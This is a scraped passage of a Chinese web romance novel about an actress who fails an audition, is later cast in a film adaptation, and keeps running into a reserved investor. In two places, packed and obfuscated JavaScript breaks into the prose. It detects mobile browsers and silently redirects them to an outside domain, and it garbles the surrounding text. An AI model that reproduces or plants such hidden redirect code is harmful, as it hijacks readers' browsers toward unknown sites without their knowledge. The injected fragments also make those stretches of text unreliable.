“姜导,打扰了。”元时亦着急赶回去跟亲友汇合,又看到在场的都是重要人员,便未顾忌太多,开门见山道,“不好意思,方便告知我落选的原因吗?” 姜洺未料到元时亦会这么直接,他怔愣一瞬,旋即舒缓开神色,笑道,“你已经知道了?” “嗯。” 姜洺并不反对演员这般刨根问题,相反,他很愿意演员直面自己的不足,只是今天的情况稍有特殊。 姜洺没有第一时间回答元时亦的问题,而是侧过身,看向后方独坐的人,询问:“颜总,你看……” 颜屿抬头,只淡漠地吐出两个字,“随意。” 一举一动,元时亦都看在眼里,她猜得到他身份不会小,但也不会想到派头能有这样大,连姜洺都要先行征求他的意见。 这么一看,他要一句话定她的“生死”,倒显得合情合理,无可指摘。 征得颜屿同意后,姜洺在屏幕中调出三人的试镜录像,“小元啊,你看。”他将三个视频罗列开,从上至下,足够直观,“其实单人的部分没什么问题,你表演得很精彩。” “可以说,你的形象是最符合我预期的。” 能得到姜洺的认可,元时亦本该高兴,可惜她提前得知了自己被排除的事实,那么不用猜也知道,姜洺接下来就是一句“但是”。 “但是,对戏的部分不太出色。” 姜洺将进度条拖到后半程,三人的反应、应对一览无遗,虽说她是第一个上场,毫无心理准备,然而比较之下,的确逊色很多,且不说她肢体稍显僵硬,单一条,她接不住程寺河的眼神,就足以宣判“死刑”。 “这部剧虽然主打职场,但感情线的部分很重要,不可或缺。我不能只顾一头。”姜洺说得委婉,意思却非常明确。 从录像上看,能将二者平衡得最好的,是沈雪。 沈雪年长一些,形象只能算勉强契合,可举手投足间的韵味又极大地补足了这一点,出于经验丰富的自信,互动中的精髓被她演绎得恰到好处,在这爱情场里,她游刃有余地控制着暧昧氛围,一拉一扯,不多一分,也不少一厘。 元时亦心服口服。 自己确实不够格。 不过更让她意外的,是罗青蔓的表现也很好,甚至主观上来说,她会更认同罗青蔓这一版。 剧中女主,是一个善于运用自己美貌达成目的的年轻女人,她对于任何男人都只有利用,唯独对男主动了一丝真心。这是她不曾有过的感觉。而罗青蔓演出了其中的迷茫与青涩,如果说沈雪的表演足够老辣,那么罗青蔓则是更显灵动、真实。 尤其还是在,程寺河状态不佳的情况下。 元时亦对罗青蔓的刻板印象一下子少了几分,网上说罗青蔓演技浮夸表情过猛,可现下看来并不完全是那么一回事,至少这次对戏,她能感觉到罗青蔓的表演天赋——而这,也是她一直以来不断追寻的。 “谢谢姜导,我明白了。”元时亦轻轻鞠上一躬,“期待未来有机会合作。” 姜洺满意地笑了笑,在这个浮华的圈子里,诚恳的态度一向难得,她虚心求教,愿意努力,进步是迟早的事。就是不知,未来那位能让她开窍的导演会是谁。 得到了想要的答案,元时亦可以安心离场。 没有想象中那般失落,她感到的是一阵释然。 她这一路走来,其实并不算顺利,这一行不缺美人,外表只是敲门砖,想占一席之地,必须得有真本事。 十年间,她从一个需要各种跑剧组面试的小配角,到如今拥有挑剧资格的当红小花,经历过太多次拒绝也提出过太多次拒绝,于早期的她而言,拿不到角色是家常便饭。 只是没想到,已经很久不试戏的她,好不容易碰到一个想要争取的角色,依旧落了选。 久违的感觉漫上来,禁不住有些惆怅。 元时亦告别完,径直向门口走去,就在她将手放于门把手上时,身后忽地响起一道冷冽的声音。 “元老师。” 突兀、猝然,无法预料,也,不容拒绝。 元时亦停住动作,转身朝颜屿的方向看去。 他是在,叫她? 姜洺那几个老江湖反应很快,见势不对,立马开溜:“要不咱们也去尝尝小程准备的下午茶?” “好好,我刚才还想说这事儿呢。” 元时亦:……这刚才别太刚才了。 一分钟不到,房间内就只剩下两个人。 元时亦保持着姿势站在门边,没有过去。 颜屿就这样静静看着她,也不作邀请。 明明她才是站着的那个,却无端感受到自上而下的审视。 空气流动缓慢,绵延而来,时间仿佛停滞,一分一秒,被无限拉长,像生锈的时钟,秒针腐蚀,再难前进一步。元时亦精神紧绷,每一处感官都变得敏感,她极轻地吸了一口气,嗅到了那股好闻的味道。 可现在,她不会有心思细闻,那目光太重,让人无法忽视。 元时亦终是没忍住,“请问——” “我只是想为之前的说法做个解释。” 被打断的元时亦:…… 非得要我先开口你再开口? 颜屿音色低缓,像没有波动的直线。 “于公而言,你看过录像,我想我的判断并无问题。” 很短的一句陈述,简单、明了。 颜屿说的是事实,元时亦无法否认,因为这是她同样认可的结果。 只不过,她不舒服也一样是事实。 “您有说实话的资格,我自然也有不高兴的权利。” 却不想,这个有资格的人听罢,骤然起身,变成了真正的居高临下。 措手不及的动作,元时亦心头猛地一跳,身体不自觉后退半步,后背抵上门。 他他他想干嘛? 然而,预想的糟糕后果却并未发生,颜屿只是撑在桌前,身体微倾,很轻地轻笑了一声,这笑不是她所料想的嘲讽、轻蔑,而是温柔的,甚至带着一丝无奈。 “于私,我确实也有私心。” 深眸轻压,掩藏住几分说不清道不明的情绪。 “这部剧亲密戏太过,不适合你。” 元时亦本还在艰难维持面上的镇定,两句话结束,她整个人直接定在原地,懵了。 私心? 什么鬼? 亲密戏太过怎么就不适合她了?她又不是不能学。 再说了,是她演又不是他演,过不过跟他有什么关系? 元时亦脑子里像被风暴席卷过,留下一团浆糊。 颜屿不等她回应,而是很快将话题略过,带到了另一个直击要害的问题上,“况且,女主暂定为短发,你需要剪足够多,不可惜吗?” 元时亦立刻回神,可惜又如何,若没有做好一切准备,她怎么会来参加试镜。 这一点,颜屿想错了,她一向很豁得出去。 “这个不劳您费心。” 元时亦转动把手,拉门而出,不给任何回旋余地。 一身情绪光秃秃地洒在地板上,她不高兴了。 直到真的走出这道门,元时亦才终于冷静下来。 这位“颜总”来头不小,能拉下脸、花费时间跟她解释问题,绝非易事。 她向来不是会委屈自己的主儿,但也不妨碍这行为称得上意气用事——毕竟在这一行,说不好什么时候,他就会成为她的顶头甲方。 她犯不着在这件事上与他交恶。 可元时亦也不知怎的,一想到那时从门缝间见到的眼神,心情就愈发不悦,在圈子里养成的谦和性格一下被打回原形,露出骄傲不屈的本性。 “姐,没出什么事吧?”路芙在门外等候良久,方才见姜洺几人出去,她以为元时亦也会紧跟着出来,却不想迟迟不见人影,她纠结半天,不确定要不要敲门问询。 “没事。”元时亦抿唇。 “那就好那就好。” “如果我被封杀了,我会给你多结点工资的。” “好的……啊???” 而留在观察室里那位可能“封杀”元时亦的人,重新靠坐回去,闭上眼,嘴角不自觉扬起一个浅浅的弧度。 她还是跟以前一样,没有变。 - 接下来的一周,元时亦有一个三天的小长假。 除了好好休养身体,她还要趁机把游戏任务清理干净。 元时亦提前跟四个亲友约好了清周本的时间,等待他们上线的间隙,元时亦趴在床上跟周三月发起闲聊。 元时亦:“哎,明天又要工作了。” 周三月:“是嘟,你的小长假只剩最后半天啦。话说提到工作,你上次说的那个项目怎么样了?” 周三月,元时亦的高中同学,也是多年的好闺蜜。四年前她英年早婚,跟大学同学兼初恋男友甘霖步入婚姻殿堂,毕业即分手这条魔咒传到他俩那儿失了效。 元时亦在剧组接到消息时,当晚就加紧排了戏提早杀了青,哪怕见到周三月本人她也没从震惊中缓过来。 元时亦:“你真的想好了?” 周三月:“哈哈,你几年前跟我说要进娱乐圈的时候我也这么想。” 说归说,两人实际上的态度却是绝对的支持。比如元时亦火速飞回来当伴娘,再比如,周三月得知元时亦决定时,当即扔下素描作业,帮她到处搜罗表演艺考资料。 听到亲切的声音,元时亦想要吐槽的心一下跃至顶点。 她将手机扔到一边,整个身体躺倒,开始细数上周种种。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290583|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 半小时后。 周三月:“哇哦,私心、不适合,这话可真暧昧。” 元时亦沉默,的确如此。 太过微妙,又似是而非。 她后来复盘良久,确定以前没见过这一号人物,可他看起来也不是她的“粉丝”,不然不至于那般否定她。思来想去没得出个结论,反倒把他的模样回忆得越来越清晰。 周三月继续道:“那他长得怎么样?多大了,老不老?” 元时亦:“还,可以吧。看着不老,应该不到三十。” “还可以?”周三月惊讶,“你知不知道这三个字从你嘴里说出来能说明什么?” “……” “那得有多帅?” “别太夸张了三月,只是气质有点少见罢了。”元时亦赶紧找补,她可不想对他有那么高的评价。 但话又说回来,她一路回想完,发现自己对他确实存在偏见。 比如,改时间的锅下意识甩到他头上。 再比如,他明明说的没错,特意解释她也拒绝接受。 包括电梯里,没有接住罗青蔓这件事。虽然与她无关,但某种程度上也能说明,这男人只是直了点,少了些风度,总归是比随意占人便宜好。 思及此处,元时亦不禁惊愕,她居然在不知不觉间为这个男人找好了各种理由! 闭上眼,元时亦强迫自己把这个男人从脑海里踹出去。 “那你说,他会不会是暗恋你,想吸引你的注意?” “……打住,有这么吸引人注意的吗?”元时亦生气,“要真这样,我这辈子都会躲着他走。” “也对,反正你是个糟糕的性单恋,不用担心受伤。” 元时亦:? 怎么越扯越奇怪了,她对他还没有好感呢好不好! 不等元时亦说话,周三月声调一转,再次出声:“啊,与老板来了。” 元时亦一个翻身,立马将手机拿起来。 【与山言:。】 【与山言:抱歉,我不知道你们在聊私事,我先退了。】 亲友频道可以连麦,往常他们都是不用打招呼直接进语音的,所以颜屿这会儿也没想到,元时亦她们正在聊一些私人话题,尤其是,这话题还与他有关。 【二月加一:没事~我俩就随便聊聊[憨笑]】 看到消息,元时亦一阵心虚,赶忙发了个尴尬的表情。 由于职业问题,她很清楚在外什么能说什么不能说,所以每每跟亲友们吐槽工作,她都会模糊具体内容,用“项目”、“甲乙方”、“领导”等泛词代指,不会暴露名字。即使是跟周三月单独聊天,她也会尽量避开敏感话题,顶多做些暗示。 只是这次稍微有点不同,感情向的问题,最害怕拿到台面上,也最容易引起人的八卦之心。 “嘶,与老板进麦你怎么不提醒一下?” 周三月忙回:“哎呀,我刚才在调技能。不过他应该只进了一会会儿,不然他就不会这样说了,而且我没调多久,他之前肯定不在。” “那就好,以后还是用微信聊这种事吧,哎。” “哈哈哈好,但你也别太担心哈,与老板又不认识咱们,肯定不知道我们在说什么。” 元时亦作为女明星,保护隐私是重中之重,若不是她音色普通缺少辨识度,她也不敢在熟络以后,于两位陌生网友【钻家】【与山言】面前大胆开麦。 话音刚落,周三月那边传来一道微弱的关门声,“甘霖回来了,我让他去微信喊下钻家,一会安心打本,别想太多。” “好。” 他们这五个人,虽说都是工作党,但工作时间不同,通常需要协调,幸运的是,每个人的时间都相对灵活,总能凑到一起。 周三月毕业后做了自由画师,生活充裕又自由;甘霖曾短暂地担任过某个游戏的职业选手,退役后回家继承家业,时间也好调整;相比而言,钻家是最忙的,他本职也是医生,每周休息不固定,还经常需要值班,所以大多数情况下,大家会根据他的排休来定打本日子。 至于与山言,透露出的信息并不多,元时亦只知道他“做点小生意”,有点时间,有点小钱,但这些都不重要,元时亦只看中一点,他游戏技术不错。 当初四人组好亲友队后,招募信息没挂几天,就有不少玩家申请,元时亦别的要求没有,就一条,技术过关。 作为有过职业选手经历的人,甘霖自然是接下了面试的重任。 【肝一辈子:诶,有个富哥申请】 元时亦点开甘霖发在群聊里的ID,确实富,满屏的特效和各种高级装备,差点闪瞎她的眼。 【钻家:我的天,这是富哥吗,这是超级大富哥】 【二月加一:[抱大腿]】 【亦有时:先面试@肝一辈子】 【钻家:亦亦好严格哦,要我就直接放进来了】 【亦有时:等富哥躲你奶的时候,你就不会想放他进来了】 【钻家:……】 不怪元时亦对有钱人有偏见,实在是前面几天遇到的人里,越有钱的死的越快,也就是说,财力与技术完全成反比,元时亦期待不了一点。 没办法,这游戏将竞技场设定为绝对公平,氪金再多也是白搭。再者,职业平衡做得好,PVP就成了元时亦最喜欢的部分,听说游戏后续还会出官方比赛,所以,技术这一项,她不看重不行。 当然,甘霖的操作好歹摆在那儿,他们不会把标准定得太离谱。 只要能赢下一局且输的每局至少存活一分钟,或三局都能在甘霖手上坚持两分钟以上,就算过关。 【肝一辈子:好,这次下注吗?】 【二月加一:必须的,我投3:0,没过】 【亦有时:跟】 【钻家:那我还是给富哥打打气吧。2:1,但是没过】 【二月加一:你这个但是很灵性】 三分钟后。 【亦有时:?】 【亦有时:还没结束?】 五分钟后。 【二月加一:场面似乎有些焦灼,虽然第一把富哥输了,但是】 【钻家:你这个但是很灵性】 十分钟后。 【肝一辈子:1:2,庄家通杀】 【亦有时:?】 【二月加一:?】 【钻家:?】 【亦有时:你是不是想赢赌局,故意输的?】 【二月加一:你是不是想赢赌局,故意输的?】 【钻家:你是不是想赢赌局,故意输的?】 【亦有时:@二月加一,你没在旁边盯着吗】 【二月加一:最后一局他去客厅打了不给我看[发怒]】 【肝一辈子:交手的那一刻[点烟],我就知道我输了】 后续,以【与山言】加入群聊而结束。 至此,这支亲友队终于正式组成,开始了波澜壮阔之旅。 - 甘霖:“钻家说马上来。” 周三月、元时亦:“好。” 甘霖:“咦,与老板不在麦里吗?” 周三月:“关于这个,说来话长,就不说了。” 元时亦:“……” 【肝一辈子:与老板进麦@与山言】 与山言没有在群聊里回复,而是给元时亦发来一个私聊。 【与山言:刚才不是故意要听你们聊天】 与山言向您赠送了一枚【心可鉴】,亲密度+99。 【与山言:赔礼】 同一时刻,元时亦的手机上弹出何曦发来的微信消息。 【何曦:我回来了,有个好消息带给你】 【何曦:合一公司邀请你出演诸灵电影的女主】 【何曦:他们给你寄来了剧本,以及】 何曦的消息停在这里,就在元时亦好奇以及什么的时候,何曦传来了一张照片,紧接着—— 【何曦:一件D家的衣服?】 5. 私心 直到元时亦坐到了合一的大楼里,她才对自己要演电影这件事有了实感。 十天前。 何曦发完消息的当晚,就带着两样东西来到了她家。 何曦:“真没想到我出去一趟,你能给我带来这么大惊喜。” 而接过剧本的元时亦本人也是一脸呆滞,她完全不知道这种饼怎么会落到自己头上。 众所周知,影视圈一直有一个不成文的鄙视链,电影咖>电视咖>网剧咖,即使后者取得的成绩并不会比前者低,也仍旧改变不了“这三者之间就是有壁”的说法。 元时亦自出道以来就走的剧星路线,她不是没考虑过电影那条路,但公司给她定位的就是流量,安心把剧演好,接接综艺代言便是她的本职,无需考虑其他。再者,她也有自知之明,在演技没得到突破之前,她不敢擅闯未知的领域。 不过比起这件事,她更在意的是,“《诸灵》居然要拍电影?” 何曦给她发消息时,她还停留在游戏界面,通知一条接一条,她只瞄到电影的字眼,并未注意到前面两个字,直到她滑进微信,才发现何曦所说的电影正是她现在在玩的游戏,《诸灵》。 “是不是很意外,”何曦坐到沙发上,给自己倒了一杯水,“我也是才得到的消息。” “合一那边把消息压得很死,听说是非也有要求,要尽量还原原著,还得提前定好主角团,否则免谈。” “那怎么会选到我这儿?”她还不觉得自己有能力接下这个大项目。 要知道,《诸灵》这部小说是人气作家非也的转型之作,由于前期准备时间过长,又是从未接触过的题材,几乎无人看好,却不想,发表之后,直接飞升,成了当年的大爆款。 后续的各种衍生产品接踵而来,纸质书、广播剧、动漫、周边,以及最后的游戏。 至于《诸灵》为什么没有卖影视版权,非也的理由是,她还没有遇到能拍出她想象中画面的团队,反正她财务自由,不差这点。简言之,宁缺毋滥,达不到想要的效果,她宁愿捏着不卖,对得起书粉也对得起自己。 何曦举着杯子抬眼望她,“你不知道?他们老总推的你。” 元时亦越发摸不着头脑,“合一的老总?” 她怎么不记得她什么时候认识了这个老总,不对,元时亦凝神,合一游戏的老板,她是了解过的。 刚入坑的那个月,她在家一边啃着薯片打着PVP,一边跟周三月感叹:“你说(嚼嚼嚼)这游戏是谁发明的呢(嚼嚼嚼),怎么这么好玩?” 周三月:“合一呗,还好他们做得挺不错的,不然就白瞎了这个大IP。” 周三月是原著粉,合一游戏当初接版权时,她还在微博下面哀嚎过:请务必善待我的白月光QAQ! 被周三月这么一提,元时亦莫名就来了点兴致,打开百度进行搜索。 接下《诸灵》前的合一,还是一个仅出了两款单机游戏的中型公司,在一众有着丰富网游经验的大厂面前根本不够看。 元时亦浏览着百度资料,“他们一开始居然只是个小工作室?” 合一工作室由三个大学生成立,在推出第一款游戏后拿到融资,正式成立合一网络科技有限公司,将工作室由几十人的小团体扩展到了数百人的中型团队。 周三月:“不敢相信吧。所以合一当时拿到版权,我们这些书粉都快疯了。不过我后来刷了很久,看很多游戏粉都说那三个创始人挺牛逼的,是真心想做好游戏,就那俩单机,卖了不少,评分也高得不行,在圈内很出名。不然我真要怀疑非也是不是把钱花完了。” 元时亦惊讶:“这么厉害?” 周三月:“对呀,而且合一成立的时候,其中两个刚刚毕业,剩下的那个,还在上学呢。用他们内部的话来说就是:游戏圈内来了个年轻人。叫什么来着,颜——” “颜屿。”元时亦的手指停在这条信息上。 “颜屿?”元时亦回忆着,念出了这个名字。 “对,就是合一的颜总。”何曦放下水杯,“你试镜那天不是见到了吗?” 元时亦:“……” 他居然就是颜屿?! 元时亦觉得自己有些凌乱。 自那天百度完,她对这位制作人就有了一层强大的滤镜,网络上关于他的信息很少,比如只有名字、大学学校和简短的工作经历,甚至连一张照片都没有,而结合她搜索到的评价来看,颜屿此人,绝对是游戏界的天才。 那么,那个莫名其妙的男人怎么能是颜屿呢? “所以,你说的大佬就是他?” “对,”何曦点头,忽然又想起什么似的,继续:“不提这事我都忘了,姜洺那个老狐狸原来早就定了沈雪,只是因为罗青蔓要过来试镜,不敢直接刷了她得罪她背后的大佬,才找了个没背景的,也就是你,一起当陪跑,让面子上过得去一点。” 元时亦:“……” 元时亦再一次沉默,何曦今晚带来的消息,哪一条都让她意想不到。 说起罗青蔓,元时亦想到了自己被勾破的外套,视线一瞟,只好落至沙发边的购物袋上。 D家的大logo印得醒目,不用猜就知道,里面装的必然是那件同款。 她没有让“肇事者”赔她,毕竟不过是一件衣服罢了。但颜屿居然……送了她一件新的? 这是什么意思? 元时亦未作深想,趁着何曦没有注意到这茬儿,把话题接回去,“连你都知道了,证明这件事罗青蔓那边也会清楚。” 何曦翘起二郎腿,做出总结,“是啊,所以才说姜洺狡猾嘛。罗青蔓那个金主,随便一句话就能让他拿不到任何投资,他需要找个‘靠山’,没想到还真让他找到了。有合一帮他,他还怕什么呢?” 元时亦听完,第一反应就是那合一不怕被打压吗,再一想,合一本就是游戏起家,并不属于她们这个圈层,只要资金足够多,就不用怕缺少人脉,可以说,他自己就可以是人脉。 “可合一怎么会突然投资影视行业?”元时亦不解,他们游戏做得好好的,来这里干嘛? 元时亦现在的心情很复杂,一面是自己在毫不知情的情况下见到了崇拜的“天才”,另一面是,事后发现这“天才”也不是那么值得“崇拜”。 “应该不是突然。”何曦拿出平板,将几则数月前的新闻点给元时亦看。 「合一内部理念不合,创始人或被边缘化,《诸灵》游戏“长线运营”理念恐成空头支票」 「合一即将拓展业务板块,成立影视部门】」 「合一内讧,创始人之一被下放,成为影视部负责人」 …… 第一条元时亦在网上冲浪时刷到过,不过那时她只匆匆扫了一眼,未曾放在心上,毕竟《诸灵》自上线后的运营一直很不错,没有捞一波就跑的趋势。至于影视部负责人——元时亦手指轻点第三条:“这个说的就是颜屿吧?” 何曦点头,“没错。” 元时亦浏览着这些帖子,越翻越不舒服。 如果上面写的都是真的,那结合何曦的说法,颜屿不就是内斗失败,被赶去投资娱乐圈了? 元时亦抱起胳膊往沙发上一靠,语气不善,“影视部又怎么了,影视部门怎么就成下放了?难道影视行业赚得很少吗?” 何曦笑眯眯地将合一游戏上季度财报点开。 元时亦:…… 好吧,跟游戏比确实赚的不多哈。 “合同问题我会跟合一那边再细谈,”何曦敲敲茶几上的剧本初稿:“你就安心把这电影接了,至少片酬方面不用担心。” 元时亦当然不担心,这样一块好饼,她高兴都来不及。她只好奇一件事,自己作为电视剧演员,怎么就突破了跟电影演员之间的“壁”。 她拿起那叠纸,指着导演那一栏,“江燚不是不收剧星吗?” 江燚,电影界新锐导演,自连续两部作品斩获最佳影片后,迅速闯入大众视野,被众人熟知。 不过,网络上针对他讨论最激烈的,是一段关于选角的发言。 “江导,听说你对选角的要求很高。” “不高不高,我只是比较看眼缘。不过,确实有个限制条件。” “哦?是什么呢?” 江燚眼睛一弯,对着镜头:“不考虑没有电影经验的演员。” 此话一出,一片哗然。 有人说他搞职场歧视,有人说他拿了两个奖就飘了,狂妄自大不知高低。也有人说拍电影不优先考虑影星考虑什么,流量吗? 直到这阵热潮过去,才有人注意到前面的“眼缘”二字。 而江燚所说的眼缘,不过是因为他只信奉成年人不做改变只做筛选,言外之意,他不会大幅度调整一个演员的本性,而是一直挑到符合角色为止。 这一点,反倒跟姜洺的理念是两个完全相反的方向。也自然不会有人知道,他们二人其实有着一层师兄弟关系。 元时亦那天的疑问,在签下名字的这一刻得到答案。 江燚笑道:“我确实是优先考虑电影演员,但你的表演形象都很符合我的要求,可遇不可求的事情,值得破例。” 两人坐在屏风后,外面有其他演员在面试。自从定好这最后一位主角的人选,江燚心中的大石才总算落地。该放的消息慢慢放出,该提上的日程也陆续提起。 而元时亦的这十天,几乎花了所有空闲时间研读剧本,甚至重新刷了一遍原著。 她在入坑那会儿看过这部小说,彼时的她,并未想过自己与女主有何相似之处,她们唯一的交集,是元时亦游戏中所玩职业的原型正是这位女主。 她不确定,到底是她真的符合要求,还是,颜屿的“私心”? 元时亦试探到,“是因为我最近那场试镜吗?” 如果说,她能得到这个角色是颜屿利用了特权,那么这个还未签完的字可以立马作废,她不会为了一己之私毁掉一个角色,也同样清楚,收下这份“礼物”,会付出怎样的代价。 这世上,哪会有白吃的午餐? 笔尖停住,留在“亦”字开头的那一点。 也是举足轻重,急需确认的一点。 却不曾想,这一点竟成了开启“潘多拉魔盒”的钥匙,让江燚的“苦水”一股脑儿倾泻出来。 《诸灵》现代背景,是一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290584|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇幻与科技完美融合的架空世界。在这个世界里,除了人族,还有无数的灵。 灵被分为神灵、魔灵和精灵。女主阿似,是神灵族中的水之灵,她有一头如瀑布般的黑色长发,以及一双墨如深渊的眼。 若是单纯寻找高冷美人的形象,那江燚手上还有人可选,可难就难在这完美到极致的发型,不是他不愿意跟非也协商,而是他自己也认同这一设定。 这样筛选下去,范围一下就缩小许多。 上个月,实在选不出人来的他,不得不同意某位女演员接长头发的方案,可最终仍旧没有达到他想要的效果,不仅不够自然,那位演员也缺少神灵对人类的“不屑一顾”。 直到月底,颜屿突然给他发来一段视频:“符合你的要求吗?” 江燚:“!” 江燚:“我的爷,你怎么找到的,快,把她联系方式给我。” 颜屿:“没有。” 江燚:“?” 江燚:“那这视频哪里来的?不是你拍的?” 颜屿:“她正在参加姜洺的试镜,我在现场。” 江燚一个鲤鱼打挺:“你赶紧给我拦住了!” 姜洺要是把她签了,他还上哪儿去找一个这么匹配的? 颜屿:“确定?她似乎没有拍过电影。” 江燚:“就事论事,我之前说的话你现在可以当放屁。” 事实上,并非江燚真的对剧星有偏见,而是他跟在师兄姜洺手下那几年,被不少资源咖折磨到崩溃,若是演技好还好说,偏就是不好,到最后也没雕出个能看的样子来,反倒是姜洺,练就了一身“调教”的本领,但前面的坑,可都是他江燚踩着过的。 于是,他放弃剧圈,一头扎进影界,毕竟能演得了电影,演技总归不会太难看不是? 颜屿:“万一我拦住了,你见到后又反悔怎么办?姜洺也很满意她的形象,我这么抢人,不太好吧?” 颜屿一字一句说得不紧不慢,换言之:这事有点缺德,不想干。 江燚一下怒上心头:“你到底站哪边的?明明我是你全资,他是半路找你接盘!” 颜屿:“那行,她没工作,你负全责。” 江燚:“……” 话题中断在这里,就在江燚以为颜屿去拦人了时,他又发来了元时亦对戏的部分。 若说江燚只根据形象就定选角这件事过于草率,那么看完这段录像,江燚只会恨自己没有亲临现场,不能当场把人签下来。 在姜洺那儿,元时亦的对手戏或许不够成熟,但在江燚这里,她这样僵硬的状态就近乎完美无缺。阿似作为一个冷面的冰霜美“灵”,自然对任何亲密接触都很排斥,更不要说元时亦眼里所流露出的那股不愿臣服的傲气,这简直与阿似不愿意按照法则去保护弱小人类这一点不谋而合。 江燚想定她的心思已经快要溢出屏幕。 颜屿:“可惜了,姜洺觉得她亲密戏不行。” 江燚:“姜洺他懂个屁呀!” 一分钟后。 颜屿:“转达给他了。” 江燚:!@#¥%…&* …… 至于后面的事,元时亦也都知道了。 江燚盯着元时亦清澈的眸子,“眼睛还是太亮,到时候跟你定制个美瞳压一压。” 魔盒打开,真相大白。 原来,这一切都是因为江燚想选她。 是江燚要他拦人,他才果断地将她排除掉。 是她的肢体反应契合阿似,他才说亲密戏太过不适合她。 是她有着同样漂亮的长发,他才会认为剪短可惜。 他哪里有什么“私心”。 他所谓的私心,不过是为了让自己投资的项目早点进行。 她又误会了。 “怎么了,是还有什么顾虑吗?”江燚看见元时亦一直停在最后一个字上,迟迟不肯动笔。 被江燚这么一提醒,元时亦飘远的思绪立刻收回。 一点酡红染上耳尖,将白色耳坠衬得显眼。 “没有没有。”笔尖轻颤,动作继续,将未完成的名字写完。 理清所有原委,元时亦脑子里的那团浆糊终于被清扫出去,留下一片空白。 后劲泛上,那块空落的地被羞耻和窘迫填满,元时亦不禁有些懊恼,怪就只能怪她自己,想得太偏,扯出些有的没的念头。 但这样也好,至少证明颜屿对她并没有什么奇怪的心思,这份角色,确实是她凭“试镜”得来的。 元时亦的心情稍稍放松下去,可以坦然地接受这块饼。 而他,作为幕后的投资者,她跟他,应该也不太可能产生什么交集了。 收下签好的文件,江燚眼睛差点笑没了缝,“那就先这样,等备案立项下来,就可以过来拍定妆照,到时候我让助理联系你。” “好。”元时亦将属于自己的那份合同收好,起身跟江燚告别,“那江导,我就先回去了。” 似有风过,将元时亦裸露在外的脖颈稍稍吹凉。 “好,回见。” 元时亦微微点头,却不想,转过身的下一秒,撞上一个陌生的胸膛。 6. 二度 猝不及防的相碰,元时亦连忙退后。 一触即离。 屏风后的空间不大,她没想到这里会站着一个人。 “不好意思。”抬头的瞬间,元时亦面色顿住。 怎么是颜屿? 刚被自己打探的人就这样出现在眼前,元时亦目光不自然地撇开,她还以为他们以后大概率不会再见面了,没想到打脸来得这么快,而且还是迎面撞上,字面意思的那种。 不过就算撞上了也不能怪她,谁让他杵在这儿。 空气停滞片刻,元时亦觉得似乎哪里有些违和。 她小心地嗅了嗅,他好像没有喷香水?刚刚离得那么近,她却什么都没闻到。 不对,元时亦止住呼吸,她在想什么呢! 江燚从合同签定的喜悦中撤出,终于注意到旁边多出个人,待看清来人是他的“好金主”,消下的笑容复又出现,“怎么来了也没个动静。” 颜屿轻靠在屏风边缘,他今天穿着一身休闲装,浅灰色的针织外套敞开着,露出里面略显贴身的打底衫,依稀间,能见到微挺的轮廓。 难怪她撞上去的时候感觉有点,硬。 想到此处,元时亦耳尖的那点红色蔓延上去,微微发烫,她有点后悔今天为什么要把头发扎起来。 颜屿的视线从元时亦脸上淡淡扫过,并未停留太久,“是吗,我已经站在这里五分钟了。” 五分钟?! 想要悄悄往后挪的元时亦愣住,那她刚才问江燚的事情他岂不是全都听到了? 江燚打了个哈哈,敷衍过去:“我们这不是签合同呢嘛。”说着,他将手里的东西递到颜屿手里,“主角部分总算完成,可以正式开工了。” 元时亦站在一旁,脸色由红变白再变红,恨不能找个地缝当场溜走。 她应该,没有问什么不该问的吧…… 屏风外,路芙站在离她不远的地方,对着她疯狂使眼色:姐,别愣着了,快出来呀! 路芙虽不清楚他们之间具体发生过什么,但结合元时亦那次所说的“被封杀”来看,她姐跟这位大佬指定是有点矛盾。 接收到信号,元时亦像是被按下开关的机器,立刻重新启动。她稍侧身体,想要从颜屿旁边通过,屏风旁留下的空间有限,这人站得实在巧妙,再往左一点,他就可以把这块出口完全堵住了。 元时亦抿抿唇,出声提醒,“那江导,颜总,我先走了。” “好的好的。” 江燚回了招呼,而颜屿却仿若没有听到元时亦的话般,未作反应。 元时亦倒不在意这个,这人出现在现场已足够让她社死,他能把她当空气最好。 就在元时亦一脚跨过屏风,即将抵达胜利的终点时,背后再次响起熟悉的喊声。 “元老师。” 元时亦:…… 又来?! 好好好,梅开二度是吧。 好在,自上次的突发状况后,元时亦有了免疫,不会再像之前一样毫无心理准备。 在路芙“扼腕”的眼神中,元时亦转过身回视颜屿,语气不禁有些僵硬:“请问颜总还有什么事吗?” 而回答元时亦的,却是颜屿的一句反问。 “衣服,元老师应该收到了吧?“” 纵使元时亦在刚才的几秒内已设想好了各种可能,比如针对她询问江燚一事做出点评,比如内涵她是不是曲解了“私心”一词,再比如,让她因为曲解而跟他道歉云云,但她还是没能料到,他会问一个与此时完全无关的话题。 元时亦轻咳一声掩饰尴尬,“嗯,收到了。” 一个不小心,她又对颜屿产生了偏见,这人明明只是找她做个确认,她差点又把人往坏处想。 不过,她其实也很想知道,颜屿为什么会送她这件衣服。 “那就好。”颜屿声音轻慢,一席话说得随意,“那天在电梯,是由于我没有接人才导致了元老师的衣服受到损失,于情于理,我都该赔一件新的。” 不等元时亦开口,颜屿再次补充,“没有其他意思,希望元老师不要多想。” 若没有这最后一句,元时亦自然不会多想,可偏要这么一强调…… 